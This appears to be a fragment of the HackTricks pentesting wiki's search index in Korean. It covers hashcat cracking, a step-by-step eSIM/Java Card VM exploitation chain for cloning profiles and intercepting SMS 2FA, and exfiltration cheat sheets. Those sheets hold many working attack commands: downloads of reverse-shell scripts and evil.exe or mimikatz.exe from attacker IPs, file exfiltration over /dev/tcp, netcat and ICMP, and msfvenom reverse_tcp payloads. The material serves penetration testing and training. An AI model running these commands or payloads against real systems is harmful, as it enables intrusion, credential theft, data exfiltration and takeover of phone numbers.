여기에서 다른 흥미로운 규칙을 찾을 수 있습니다 . hashcat.exe -a 0 -m 1000 C:\\\\Temp\\\\ntlm.txt .\\\\rockyou.txt -r rules\\\\best64.rule Wordlist combinator 공격 hashcat을 사용하여 2개의 단어 목록을 1개로 결합 할 수 있습니다. 리스트 1에 단어 **\\"hello\\"**가 포함되어 있고 두 번째 리스트에 **\\"world\\"**와 **\\"earth\\"**라는 단어가 있는 2개의 줄이 포함되어 있다고 가정합니다. helloworld와 helloearth가 생성됩니다. bash # This will combine 2 wordlists\\nhashcat.exe -a 1 -m 1000 C:\\\\Temp\\\\ntlm.txt .\\\\wordlist1.txt .\\\\wordlist2.txt # Same attack as before but adding chars in the newly generated words\\n# In the previous example this will generate:\\n## hello-world!\\n## hello-earth!\\nhashcat.exe -a 1 -m 1000 C:\\\\Temp\\\\ntlm.txt .\\\\wordlist1.txt .\\\\wordlist2.txt -j $- -k $! 마스크 공격 (-a 3) bash # Mask attack with simple mask\\nhashcat.exe -a 3 -m 1000 C:\\\\Temp\\\\ntlm.txt ?u?l?l?l?l?l?l?l?d hashcat --help #will show the charsets and are as follows\\n? | Charset\\n===+=========\\nl | abcdefghijklmnopqrstuvwxyz\\nu | ABCDEFGHIJKLMNOPQRSTUVWXYZ\\nd | 0123456789\\nh | 0123456789abcdef\\nH | 0123456789ABCDEF\\ns | !\\"#$%&\'()*+,-./:;<=>?@[\\\\]^_`{|}~\\na | ?l?u?d?s\\nb | 0x00 - 0xff # Mask attack declaring custom charset\\nhashcat.exe -a 3 -m 1000 C:\\\\Temp\\\\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1\\n## -1 ?d?s defines a custom charset (digits and specials).\\n## ?u?l?l?l?l?l?l?l?1 is the mask, where \\"?1\\" is the custom charset. # Mask attack with variable password length\\n## Create a file called masks.hcmask with this content:\\n?d?s,?u?l?l?l?l?1\\n?d?s,?u?l?l?l?l?l?1\\n?d?s,?u?l?l?l?l?l?l?1\\n?d?s,?u?l?l?l?l?l?l?l?1\\n?d?s,?u?l?l?l?l?l?l?l?l?1\\n## Use it to crack the password\\nhashcat.exe -a 3 -m 1000 C:\\\\Temp\\\\ntlm.txt .\\\\masks.hcmask 워드리스트 + 마스크 (-a 6) / 마스크 + 워드리스트 (-a 7) 공격 bash # Mask numbers will be appended to each word in the wordlist\\nhashcat.exe -a 6 -m 1000 C:\\\\Temp\\\\ntlm.txt \\\\wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist\\nhashcat.exe -a 7 -m 1000 C:\\\\Temp\\\\ntlm.txt ?d?d?d?d \\\\wordlist.txt Hashcat 모드 bash hashcat --example-hashes | grep -B1 -A2 \\"NTLM\\" 리눅스 해시 크래킹 - /etc/shadow 파일 500 | md5crypt $1$, MD5(Unix) | Operating-Systems\\n3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems\\n7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems\\n1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems 윈도우 해시 크래킹 3000 | LM | Operating-Systems\\n1000 | NTLM | Operating-Systems 일반 애플리케이션 해시 크래킹 900 | MD4 | Raw Hash\\n0 | MD5 | Raw Hash\\n5100 | Half MD5 | Raw Hash\\n100 | SHA1 | Raw Hash\\n10800 | SHA-384 | Raw Hash\\n1400 | SHA-256 | Raw Hash\\n1700 | SHA-512 | Raw Hash tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Brute Force - CheatSheet » Hashcat","id":"1121","title":"Hashcat"},"1122":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Esim Javacard Exploitation » eSIM / Java Card VM Exploitation","id":"1122","title":"eSIM / Java Card VM Exploitation"},"1123":{"body":"임베디드 SIM(eSIM)은 임베디드 UICC(eUICC) 스마트 카드로 구현되며, 보안 요소 위에서 **Java Card Virtual Machine(JC VM)**을 실행합니다. 프로필과 애플릿은 원격 SIM 프로비저닝(RSP)을 통해 무선으로 프로비저닝될 수 있으므로, JC VM 내부의 메모리 안전성 결함은 핸드셋의 가장 특권이 높은 구성 요소 내부에서 원격 코드 실행 원시 코드 가 됩니다. 이 페이지는 getfield 및 putfield 바이트코드에서 타입 안전성 검사가 누락되어 발생한 Kigen의 eUICC(Infineon SLC37 ESA1M2, ARM SC300)의 실제 전체 손상 사례를 설명합니다. 동일한 기술은 카드 내 바이트 코드 검증을 생략하는 다른 공급업체에 대해 재사용될 수 있습니다.","breadcrumbs":"Esim Javacard Exploitation » 개요","id":"1123","title":"개요"},"1124":{"body":"원격 애플리케이션 관리(RAM) eSIM 프로필은 임의의 Java Card 애플릿을 포함할 수 있습니다. 프로비저닝은 SMS-PP(단문 메시지 서비스 포인트 투 포인트) 또는 HTTPS를 통해 터널링할 수 있는 표준 APDU로 수행됩니다. 공격자가 프로필에 대한 RAM 키 를 소유(또는 도난)하면, 악성 애플릿을 원격으로 INSTALL/LOAD할 수 있습니다. Java Card 바이트 코드 실행 설치 후, 애플릿은 VM 내에서 실행됩니다. 누락된 런타임 검사는 메모리 손상을 허용합니다.","breadcrumbs":"Esim Javacard Exploitation » 공격 표면","id":"1124","title":"공격 표면"},"1125":{"body":"getfield / putfield는 객체 참조 에서만 작동해야 합니다. Kigen eUICC에서는 명령어가 스택의 피연산자가 객체 인지 배열 참조인지 확인하지 않습니다. array.length 단어는 일반 객체의 첫 번째 인스턴스 필드와 정확히 동일한 오프셋에 존재하므로, 공격자는 다음을 수행할 수 있습니다: 바이트 배열 생성 byte[] buf = new byte[0x100]; 이를 Object o = (Object)buf;로 캐스팅합니다. putfield를 사용하여 인접한 객체 내부의 임의 16비트 값을 덮어씁니다(여기에는 VTABLE / 포인터 변환 항목이 포함됩니다). 내부 포인터가 탈취된 후 getfield를 사용하여 임의 메모리를 읽습니다. java // Pseudo-bytecode sequence executed by the malicious applet\\n// buf = newarray byte 0x100\\n// o = (Object) buf // illegal but not verified\\n// putfield , 0xCAFE // arbitrary write\\n// ... set up read-what-where gadgets ... 원시 기능은 eUICC 주소 공간에서 임의 읽기/쓰기 를 제공합니다. 이는 GSMA 생태계에 카드를 인증하는 장치 고유의 ECC 개인 키를 덤프하기에 충분합니다.","breadcrumbs":"Esim Javacard Exploitation » 타입 혼동 원시 코드","id":"1125","title":"타입 혼동 원시 코드"},"1126":{"body":"펌웨어 열거 – 문서화되지 않은 GET DATA 항목 DF1F 사용: 80 CA DF 1F 00 // → \\"ECu10.13\\" (취약점 존재) 악성 앱렛 OTA 설치 – TS.48 일반 테스트 프로파일의 공개적으로 알려진 키를 악용하고 CAP 파일(LOAD)을 전송하는 SMS-PP 조각을 푸시한 후 INSTALL: // 단순화된 APDU 체인\\n80 E6 02 00 // LOAD (블록 n)\\n80 E6 0C 00 // 로드를 위한 INSTALL 타입 혼동 유발 – 앱렛이 선택되면 포인터 테이블을 탈취하기 위해 write-what-where를 수행하고 정상 APDU 응답을 통해 메모리를 유출합니다. GSMA 인증서 키 추출 – 개인 EC 키가 앱렛의 RAM에 복사되고 청크로 반환됩니다. eUICC 가장하기 – 도난당한 키 쌍 + 인증서를 통해 공격자는 모든 RSP 서버에 합법적인 카드로 인증할 수 있습니다 (일부 운영자에게는 EID 바인딩이 여전히 필요할 수 있습니다). 프로파일 다운로드 및 수정 – 일반 텍스트 프로파일에는 OPc, AMF, OTA 키 및 추가 앱렛과 같은 매우 민감한 필드가 포함되어 있습니다. 공격자는: 두 번째 eUICC에 프로파일 복제 (음성/SMS 탈취); 재업로드 전에 Java Card 애플리케이션 패치 (예: STK 스파이웨어 삽입); 대규모 악용을 위한 운영자 비밀 추출.","breadcrumbs":"Esim Javacard Exploitation » 종단 간 악용 워크플로우","id":"1126","title":"종단 간 악용 워크플로우"},"1127":{"body":"PHONE A 와 PHONE B 에 동일한 프로파일을 설치하면 모바일 스위칭 센터가 최근에 등록된 장치로 수신 트래픽을 라우팅합니다. Gmail 2FA SMS 가로채기 한 세션이면 피해자의 MFA를 우회하기에 충분합니다.","breadcrumbs":"Esim Javacard Exploitation » 클로닝 / 탈취 시연","id":"1127","title":"클로닝 / 탈취 시연"},"1128":{"body":"연구자들은 Java Card VM이 취약한지 즉시 보여주는 bsc ( Basic Security Check ) 명령이 포함된 내부 도구를 공개했습니다: scard> bsc\\n- castcheck [arbitrary int/obj casts]\\n- ptrgranularity [pointer granularity/tr table presence]\\n- locvaraccess [local variable access]\\n- stkframeaccess [stack frame access]\\n- instfieldaccess [instance field access]\\n- objarrconfusion [object/array size field confusion] 프레임워크와 함께 제공되는 모듈: introspector – 전체 VM 및 메모리 탐색기 (~1.7 MB Java) security-test – 일반적인 검증 우회 애플릿 (~150 KB) exploit – 100 % 신뢰할 수 있는 Kigen eUICC 타협 (~72 KB)","breadcrumbs":"Esim Javacard Exploitation » 자동화된 테스트 및 악용 툴킷","id":"1128","title":"자동화된 테스트 및 악용 툴킷"},"1129":{"body":"카드 내 바이트 코드 검증 – 스택 최상위만이 아닌 전체 제어 흐름 및 데이터 흐름 유형 추적을 강제합니다. 배열 헤더 숨기기 – length를 겹치는 객체 필드 외부에 배치합니다. RAM 키 정책 강화 – 공개 키가 포함된 프로필을 절대 배포하지 마십시오; 테스트 프로필에서 INSTALL을 비활성화합니다 (GSMA TS.48 v7에서 다룸). RSP 서버 측 휴리스틱 – EID당 프로필 다운로드 속도 제한, 지리적 이상 모니터링, 인증서 신선도 검증.","breadcrumbs":"Esim Javacard Exploitation » 완화 조치","id":"1129","title":"완화 조치"},"113":{"body":"bash net.sniff on\\nnet.sniff stats\\nset net.sniff.output sniffed.pcap #Write captured packets to file\\nset net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)\\nset net.sniff.filter #BPF filter for the sniffer (default=not arp)\\nset net.sniff.regexp #If set only packets matching this regex will be considered","breadcrumbs":"Pentesting Network » Bettercap","id":"113","title":"Bettercap"},"1130":{"body":"GET DATA DF1F 쿼리 – 취약한 펌웨어 문자열 ECu10.13는 Kigen을 나타냅니다. RAM 키가 알려져 있는지 확인 ‑> OTA INSTALL/LOAD 시도. 애플릿 설치 후, 간단한 캐스트 원시형을 무차별 대입 (objarrconfusion). 보안 도메인 개인 키를 읽어보십시오 – 성공 = 전체 타협.","breadcrumbs":"Esim Javacard Exploitation » 펜테스터를 위한 빠른 체크리스트","id":"1130","title":"펜테스터를 위한 빠른 체크리스트"},"1131":{"body":"Security Explorations – eSIM security GSMA TS.48 Generic Test Profile v7.0 Java Card VM Specification 3.1 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Esim Javacard Exploitation » 참고 문헌","id":"1131","title":"참고 문헌"},"1132":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Exfiltration » Exfiltration","id":"1132","title":"Exfiltration"},"1133":{"body":"https://lots-project.com/ 를 확인하여 악용될 수 있는 일반적으로 허용된 도메인을 찾으세요.","breadcrumbs":"Exfiltration » 정보 유출을 위해 일반적으로 허용된 도메인","id":"1133","title":"정보 유출을 위해 일반적으로 허용된 도메인"},"1134":{"body":"Linux bash base64 -w0 #Encode file\\nbase64 -d file #Decode file 윈도우 certutil -encode payload.dll payload.b64\\ncertutil -decode payload.b64 payload.dll","breadcrumbs":"Exfiltration » Copy&Paste Base64","id":"1134","title":"Copy&Paste Base64"},"1135":{"body":"리눅스 bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py\\nwget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm\\ncurl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py\\nfetch 10.10.14.14:8000/shell.py #FreeBSD 윈도우 bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64\\nbitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\\\\downloads\\\\examplefile.pdf #PS\\n(New-Object Net.WebClient).DownloadFile(\\"http://10.10.14.2:80/taskkill.exe\\",\\"C:\\\\Windows\\\\Temp\\\\taskkill.exe\\")\\nInvoke-WebRequest \\"http://10.10.14.2:80/taskkill.exe\\" -OutFile \\"taskkill.exe\\"\\nwget \\"http://10.10.14.2/nc.bat.exe\\" -OutFile \\"C:\\\\ProgramData\\\\unifivideo\\\\taskkill.exe\\" Import-Module BitsTransfer\\nStart-BitsTransfer -Source $url -Destination $output\\n#OR\\nStart-BitsTransfer -Source $url -Destination $output -Asynchronous","breadcrumbs":"Exfiltration » HTTP","id":"1135","title":"HTTP"},"1136":{"body":"SimpleHttpServerWithFileUploads GET 및 POST(헤더 포함) 출력하는 SimpleHttpServer Python 모듈 uploadserver : bash # Listen to files\\npython3 -m pip install --user uploadserver\\npython3 -m uploadserver\\n# With basic auth:\\n# python3 -m uploadserver --basic-auth hello:world # Send a file\\ncurl -X POST http://HOST/upload -H -F \'files=@file.txt\'\\n# With basic auth:\\n# curl -X POST http://HOST/upload -H -F \'files=@file.txt\' -u hello:world","breadcrumbs":"Exfiltration » 파일 업로드","id":"1136","title":"파일 업로드"},"1137":{"body":"python # from https://gist.github.com/dergachev/7028596\\n# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/\\n# generate server.xml with the following command:\\n# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes\\n# run as follows:\\n# python simple-https-server.py\\n# then in your browser, visit:\\n# https://localhost:443 ### PYTHON 2\\nimport BaseHTTPServer, SimpleHTTPServer\\nimport ssl httpd = BaseHTTPServer.HTTPServer((\'0.0.0.0\', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)\\nhttpd.socket = ssl.wrap_socket (httpd.socket, certfile=\'./server.pem\', server_side=True)\\nhttpd.serve_forever()\\n### ### PYTHON3\\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\\nimport ssl httpd = HTTPServer((\'0.0.0.0\', 443), BaseHTTPRequestHandler)\\nhttpd.socket = ssl.wrap_socket(httpd.socket, certfile=\\"./server.pem\\", server_side=True)\\nhttpd.serve_forever()\\n### ### USING FLASK\\nfrom flask import Flask, redirect, request\\nfrom urllib.parse import quote\\napp = Flask(__name__)\\n@app.route(\'/\')\\ndef root():\\nprint(request.get_json())\\nreturn \\"OK\\"\\nif __name__ == \\"__main__\\":\\napp.run(ssl_context=\'adhoc\', debug=True, host=\\"0.0.0.0\\", port=8443)\\n###","breadcrumbs":"Exfiltration » HTTPS 서버","id":"1137","title":"HTTPS 서버"},"1138":{"body":"","breadcrumbs":"Exfiltration » FTP","id":"1138","title":"FTP"},"1139":{"body":"bash pip3 install pyftpdlib\\npython3 -m pyftpdlib -p 21","breadcrumbs":"Exfiltration » FTP 서버 (파이썬)","id":"1139","title":"FTP 서버 (파이썬)"},"114":{"body":"당연히.","breadcrumbs":"Pentesting Network » Wireshark","id":"114","title":"Wireshark"},"1140":{"body":"sudo npm install -g ftp-srv --save\\nftp-srv ftp://0.0.0.0:9876 --root /tmp","breadcrumbs":"Exfiltration » FTP 서버 (NodeJS)","id":"1140","title":"FTP 서버 (NodeJS)"},"1141":{"body":"bash apt-get update && apt-get install pure-ftp bash #Run the following script to configure the FTP server\\n#!/bin/bash\\ngroupadd ftpgroup\\nuseradd -g ftpgroup -d /dev/null -s /etc ftpuser\\npure-pwd useradd fusr -u ftpuser -d /ftphome\\npure-pw mkdb\\ncd /etc/pure-ftpd/auth/\\nln -s ../conf/PureDB 60pdb\\nmkdir -p /ftphome\\nchown -R ftpuser:ftpgroup /ftphome/\\n/etc/init.d/pure-ftpd restart","breadcrumbs":"Exfiltration » FTP 서버 (pure-ftp)","id":"1141","title":"FTP 서버 (pure-ftp)"},"1142":{"body":"bash #Work well with python. With pure-ftp use fusr:ftp\\necho open 10.11.0.41 21 > ftp.txt\\necho USER anonymous >> ftp.txt\\necho anonymous >> ftp.txt\\necho bin >> ftp.txt\\necho GET mimikatz.exe >> ftp.txt\\necho bye >> ftp.txt\\nftp -n -v -s:ftp.txt","breadcrumbs":"Exfiltration » Windows 클라이언트","id":"1142","title":"Windows 클라이언트"},"1143":{"body":"Kali를 서버로 사용 bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory\\nkali_op2> smbserver.py -smb2support name /path/folder # Share a folder\\n#For new Win10 versions\\nimpacket-smbserver -smb2support -user test -password test test `pwd` samba를 사용하여 smb 공유 를 생성합니다: bash apt-get install samba\\nmkdir /tmp/smb\\nchmod 777 /tmp/smb\\n#Add to the end of /etc/samba/smb.conf this:\\n[public]\\ncomment = Samba on Ubuntu\\npath = /tmp/smb\\nread only = no\\nbrowsable = yes\\nguest ok = Yes\\n#Start samba\\nservice smbd restart 윈도우 bash CMD-Wind> \\\\\\\\10.10.14.14\\\\path\\\\to\\\\exe\\nCMD-Wind> net use z: \\\\\\\\10.10.14.14\\\\test /user:test test #For SMB using credentials WindPS-1> New-PSDrive -Name \\"new_disk\\" -PSProvider \\"FileSystem\\" -Root \\"\\\\\\\\10.10.14.9\\\\kali\\"\\nWindPS-2> cd new_disk:","breadcrumbs":"Exfiltration » SMB","id":"1143","title":"SMB"},"1144":{"body":"공격자는 SSHd가 실행 중이어야 합니다. bash scp @:/","breadcrumbs":"Exfiltration » SCP","id":"1144","title":"SCP"},"1145":{"body":"희생자가 SSH를 가지고 있다면, 공격자는 희생자의 디렉토리를 공격자에게 마운트할 수 있습니다. bash sudo apt-get install sshfs\\nsudo mkdir /mnt/sshfs\\nsudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/","breadcrumbs":"Exfiltration » SSHFS","id":"1145","title":"SSHFS"},"1146":{"body":"bash nc -lvnp 4444 > new_file\\nnc -vn 4444 < exfil_file","breadcrumbs":"Exfiltration » NC","id":"1146","title":"NC"},"1147":{"body":"","breadcrumbs":"Exfiltration » /dev/tcp","id":"1147","title":"/dev/tcp"},"1148":{"body":"bash nc -lvnp 80 > file #Inside attacker\\ncat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim","breadcrumbs":"Exfiltration » 피해자로부터 파일 다운로드","id":"1148","title":"피해자로부터 파일 다운로드"},"1149":{"body":"bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker\\n# Inside victim\\nexec 6< /dev/tcp/10.10.10.10/4444\\ncat <&6 > file.txt **@BinaryShadow_**에게 감사드립니다.","breadcrumbs":"Exfiltration » 피해자에게 파일 업로드","id":"1149","title":"피해자에게 파일 업로드"},"115":{"body":"pcap 또는 live interface에서 자격 증명을 파싱하기 위해 https://github.com/lgandx/PCredz 같은 도구를 사용할 수 있습니다.","breadcrumbs":"Pentesting Network » Capturing credentials","id":"115","title":"Capturing credentials"},"1150":{"body":"bash # To exfiltrate the content of a file via pings you can do:\\nxxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done\\n#This will 4bytes per ping packet (you could probably increase this until 16) python from scapy.all import *\\n#This is ippsec receiver created in the HTB machine Mischief\\ndef process_packet(pkt):\\nif pkt.haslayer(ICMP):\\nif pkt[ICMP].type == 0:\\ndata = pkt[ICMP].load[-4:] #Read the 4bytes interesting\\nprint(f\\"{data.decode(\'utf-8\')}\\", flush=True, end=\\"\\") sniff(iface=\\"tun0\\", prn=process_packet)","breadcrumbs":"Exfiltration » ICMP","id":"1150","title":"ICMP"},"1151":{"body":"SMTP 서버에 데이터를 보낼 수 있다면, 파이썬을 사용하여 데이터를 수신할 SMTP를 생성할 수 있습니다: bash sudo python -m smtpd -n -c DebuggingServer :25","breadcrumbs":"Exfiltration » SMTP","id":"1151","title":"SMTP"},"1152":{"body":"기본적으로 XP와 2003에서 (다른 버전에서는 설치 중에 명시적으로 추가해야 함) Kali에서, TFTP 서버 시작 : bash #I didn\'t get this options working and I prefer the python option\\nmkdir /tftp\\natftpd --daemon --port 69 /tftp\\ncp /path/tp/nc.exe /tftp 파이썬의 TFTP 서버: bash pip install ptftpd\\nptftpd -p 69 tap0 . # ptftp -p 희생자 에서 Kali 서버에 연결합니다: bash tftp -i get nc.exe","breadcrumbs":"Exfiltration » TFTP","id":"1152","title":"TFTP"},"1153":{"body":"PHP 원라이너로 파일 다운로드: bash echo \\"\\" > down2.php","breadcrumbs":"Exfiltration » PHP","id":"1153","title":"PHP"},"1154":{"body":"bash Attacker> python -m SimpleHTTPServer 80 희생자 bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs\\necho StrFile = WScript.Arguments.Item(1) >> wget.vbs\\necho Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs\\necho Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs\\necho Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs\\necho Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs\\necho Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs\\necho Err.Clear >> wget.vbs\\necho Set http = Nothing >> wget.vbs\\necho Set http = CreateObject(\\"WinHttp.WinHttpRequest.5.1\\") >> wget.vbs\\necho If http Is Nothing Then Set http = CreateObject(\\"WinHttp.WinHttpRequest\\") >> wget.vbs\\necho If http Is Nothing Then Set http =CreateObject(\\"MSXML2.ServerXMLHTTP\\") >> wget.vbs\\necho If http Is Nothing Then Set http = CreateObject(\\"Microsoft.XMLHTTP\\") >> wget.vbs\\necho http.Open \\"GET\\", strURL, False >> wget.vbs\\necho http.Send >> wget.vbs\\necho varByteArray = http.ResponseBody >> wget.vbs\\necho Set http = Nothing >> wget.vbs\\necho Set fs = CreateObject(\\"Scripting.FileSystemObject\\") >> wget.vbs\\necho Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs\\necho strData = \\"\\" >> wget.vbs\\necho strBuffer = \\"\\" >> wget.vbs\\necho For lngCounter = 0 to UBound(varByteArray) >> wget.vbs\\necho ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs\\necho Next >> wget.vbs\\necho ts.Close >> wget.vbs bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe","breadcrumbs":"Exfiltration » VBScript","id":"1154","title":"VBScript"},"1155":{"body":"debug.exe 프로그램은 이진 파일을 검사할 수 있을 뿐만 아니라 16진수에서 이진 파일을 재구성할 수 있는 기능 도 가지고 있습니다. 이는 이진 파일의 16진수를 제공함으로써 debug.exe가 이진 파일을 생성할 수 있음을 의미합니다. 그러나 debug.exe는 최대 64kb 크기의 파일을 조립하는 제한 이 있다는 점에 유의해야 합니다. bash # Reduce the size\\nupx -9 nc.exe\\nwine exe2bat.exe nc.exe nc.txt 그런 다음 텍스트를 윈도우 셸에 복사하여 붙여넣으면 nc.exe라는 파일이 생성됩니다. https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html","breadcrumbs":"Exfiltration » Debug.exe","id":"1155","title":"Debug.exe"},"1156":{"body":"https://github.com/Stratiz/DNS-Exfil tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Exfiltration » DNS","id":"1156","title":"DNS"},"1157":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » 쉘 - 리눅스","id":"1157","title":"쉘 - 리눅스"},"1158":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » 쉘 - 윈도우","id":"1158","title":"쉘 - 윈도우"},"1159":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - 치트시트","id":"1159","title":"MSFVenom - 치트시트"},"116":{"body":"","breadcrumbs":"Pentesting Network » LAN attacks","id":"116","title":"LAN attacks"},"1160":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » 전체 TTY","id":"1160","title":"전체 TTY"},"1161":{"body":"https://reverse-shell.sh/ https://www.revshells.com/ https://github.com/ShutdownRepo/shellerator https://github.com/0x00-0x00/ShellPop https://github.com/cybervaca/ShellReverse https://liftoff.github.io/pyminifier/ https://github.com/xct/xc/ https://weibell.github.io/reverse-shell-generator/ https://github.com/t0thkr1s/revshellgen https://github.com/mthbernardes/rsg tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » 자동 생성된 쉘","id":"1161","title":"자동 생성된 쉘"},"1162":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » MSFVenom - CheatSheet","id":"1162","title":"MSFVenom - CheatSheet"},"1163":{"body":"msfvenom -p -e -f -i LHOST= -a를 사용하여 아키텍처를 지정하거나 --platform을 사용할 수도 있습니다.","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » Basic msfvenom","id":"1163","title":"Basic msfvenom"},"1164":{"body":"bash msfvenom -l payloads #Payloads\\nmsfvenom -l encoders #Encoders","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » Listing","id":"1164","title":"Listing"},"1165":{"body":"bash -b \\"\\\\x00\\\\x0a\\\\x0d\\"\\n-f c\\n-e x86/shikata_ga_nai -i 5\\nEXITFUNC=thread\\nPrependSetuid=True #Use this to create a shellcode that will execute something with SUID","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 쉘코드를 생성할 때의 일반적인 매개변수","id":"1165","title":"쉘코드를 생성할 때의 일반적인 매개변수"},"1166":{"body":"","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 윈도우","id":"1166","title":"윈도우"},"1167":{"body":"bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe","breadcrumbs":"Reverse Shells (Linux, Windows, MSFVenom) » MSFVenom - CheatSheet » 리버스 셸","id":"1167","title":"리버스 셸"},"1168":{"body":"bash msfvenom -p windows/meterpreter/bind_tcp 